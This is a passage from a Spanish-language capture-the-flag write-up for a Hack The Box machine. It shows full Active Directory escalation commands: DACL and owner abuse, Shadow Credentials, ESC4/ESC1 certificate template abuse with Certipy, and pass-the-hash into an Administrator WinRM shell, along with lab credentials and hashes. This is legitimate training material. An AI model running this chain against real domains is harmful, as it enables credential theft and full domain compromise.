❯ bloodyAD --host '10.10.11.51' -d 'sequel.htb' -u 'ryan' -p 'WqSZAF6CysDQbGb3' set owner 'ca_svc' 'ryan'
[+] Old owner S-1-5-21-548670397-972687484-3496335370-512 is now replaced by ryan on ca_svc
Y, luego, darnos (usuario ryan
) permisos totales sobre la cuenta ca_svc
usando la herramienta dacledit.py
de Impacket
:
❯ impacket-dacledit -action 'write' -rights 'FullControl' -principal 'ryan' -target 'ca_svc' SEQUEL.HTB/ryan:'WqSZAF6CysDQbGb3'
[*] DACL backed up to dacledit-20250114-061524.bak
[*] DACL modified successfully!
Ya que nunca es buena idea cambiar una contraseña, y menos de una cuenta de servicio, podemos tratar de realizar un ataque Shadow Credentials
sobre la cuenta ca_svc
para obtener así su hash NT
. Para esto podríamos utilizar la herraienta PyWhisker
. Pero reciéntemente descubrí que esto también puede ser realizado utilizando la herramienta Certipy
(la cual puede ser descargada desde su repositorio de Github y puede ser fácilmente instalada ejecutando pip3 install certipy-ad
en uan terminal). La usamos para performar este ataque:
❯ certipy shadow auto -username ryan@sequel.htb -password 'WqSZAF6CysDQbGb3' -account 'ca_svc'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Targeting user 'ca_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '98a79799-8c39-847d-a6b5-98c64a4fc496'
[*] Adding Key Credential with device ID '98a79799-8c39-847d-a6b5-98c64a4fc496' to the Key Credentials for 'ca_svc'
[*] Successfully added Key Credential with device ID '98a79799-8c39-847d-a6b5-98c64a4fc496' to the Key Credentials for 'ca_svc'
[*] Authenticating as 'ca_svc' with the certificate
[*] Using principal: ca_svc@sequel.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'ca_svc.ccache'
[*] Trying to retrieve NT hash for 'ca_svc'
[*] Restoring the old Key Credentials for 'ca_svc'
[*] Successfully restored the old Key Credentials for 'ca_svc'
[*] NT hash for 'ca_svc': 3b181b914e7a9d5508ea1e20bc2b7fce
Obtenemos un hash NT
para la cuenta ca_svc
.
Como ya es usual, usamos NetExec
para revisar si este hash es válido:
❯ nxc smb DC01.sequel.htb -u 'ca_svc' -H '3b181b914e7a9d5508ea1e20bc2b7fce'
SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.51 445 DC01 [+] sequel.htb\ca_svc:3b181b914e7a9d5508ea1e20bc2b7fce
Es válido.
Pero este usuario no tiene permisos interesantes sobre otros usuarios/cuentas:
No obstante, como su nombre lo dice (ca_svc
), su nombre debe estar relacionado con el servicio AD CS
y, por tanto, con certificados. Para revisar certificados a los que este usuario tiene acceso, podemos usar su hash NT
junto con Certipy
buscando por certificados vulnerables:
❯ certipy find -username 'ca_svc'@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' -dc-ip 10.10.11.51 -target dc01.sequel.htb -vulnerable -enabled
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'sequel-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'sequel-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'sequel-DC01-CA' via RRP
[*] Got CA configuration for 'sequel-DC01-CA'
[*] Saved BloodHound data to '20250114064030_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20250114064030_Certipy.txt'
[*] Saved JSON output to '20250114064030_Certipy.json'
Esto guarda el output en un archivo .txt
y otro .json
.
Podemos obtener información interesante de este output buscando por palabras claves tales como CA Name
, Template
y ESC
dado que las necesitaremos más adelante:
❯ cat 20250114064030_Certipy.txt | grep -E 'CA Name|Template Name|ESC'
CA Name : sequel-DC01-CA
Template Name : DunderMifflinAuthentication
ESC4 : 'SEQUEL.HTB\\Cert Publishers' has dangerous permissions
Tenemos un template con nombre DunderMifflinAuthentication
con algunos permisos/configuraciones peligrosos(as).
Basados en el output, este template puede ser utilizado para realizar una escalada catalogada como ESC4
. Podemos ver cómo abusar de esta escalada yendo a la página de Github de Certify Github para ESC4
, donde explican cómo abusar de ésta. Básicamente, podemos sobreescribir la configuración de este certificado. Para esto podemos ejecutar:
❯ certipy template -username ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' -template 'DunderMifflinAuthentication' -dc-ip 10.10.11.51 -target dc01.sequel.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Updating certificate template 'DunderMifflinAuthentication'
[*] Successfully updated 'DunderMifflinAuthentication'
Ahora este certificado debería de ser vulnerable a ESC1
. Para abusar de esta escalada podemos seguir estas instrucciones y solicitar así un archivo-certificado en nombre del usuario Administrator
:
❯ certipy req -u ca_svc -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -target sequel.htb -dc-ip 10.10.11.51 -template DunderMifflinAuthentication -upn administrator@sequel.htb -ns 10.10.11.51 -dns 10.10.11.51
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 16
[*] Got certificate with multiple identifications
UPN: 'administrator@sequel.htb'
DNS Host Name: '10.10.11.51'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator_10.pfx'
Esto debería de generar un archivo (certificado) .pfx
.
Usamos así este archivo .pfx
para extraer el hash NT
del usuario Administrator
(donde al momento de solicitar una identificación, seleccionamos la opcíón por UPN
):
❯ certipy auth -pfx administrator_10.pfx -dc-ip 10.10.11.51 -domain sequel.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Found multiple identifications in certificate
[*] Please select one:
[0] UPN: 'administrator@sequel.htb'
[1] DNS Host Name: '10.10.11.51'
> 0
[*] Using principal: administrator@sequel.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff
Obtenemos un hash NT
para el usuario Administrator
.
Revisamos si este hash funciona para el usuario Administrator
con NetExec
:
❯ nxc smb DC01.sequel.htb -u 'Administrator' -H '7a8d4e04986afa8ed4060f75e5a0b3ff'
SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.51 445 DC01 [+] sequel.htb\Administrator:7a8d4e04986afa8ed4060f75e5a0b3ff (Pwn3d!)
Funciona. Y es para un usuario privilegiado tal cual muestra el mensaje Pwn3d!
para el servicio SMB
. GG.
Nos conectamos a la máquina víctima usando el servicio WinRM
con evil-winrm
realizando un Pass The Hash
(PtH
) para el usuario Administrator
:
❯ evil-winrm -i dc01.sequel.htb -u 'Administrator' -H '7a8d4e04986afa8ed4060f75e5a0b3ff'
Evil-WinRM shell v3.6
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
Podemos leer la flag root.txt
en el Desktop del usuario Administrator
.
~Happy Hacking.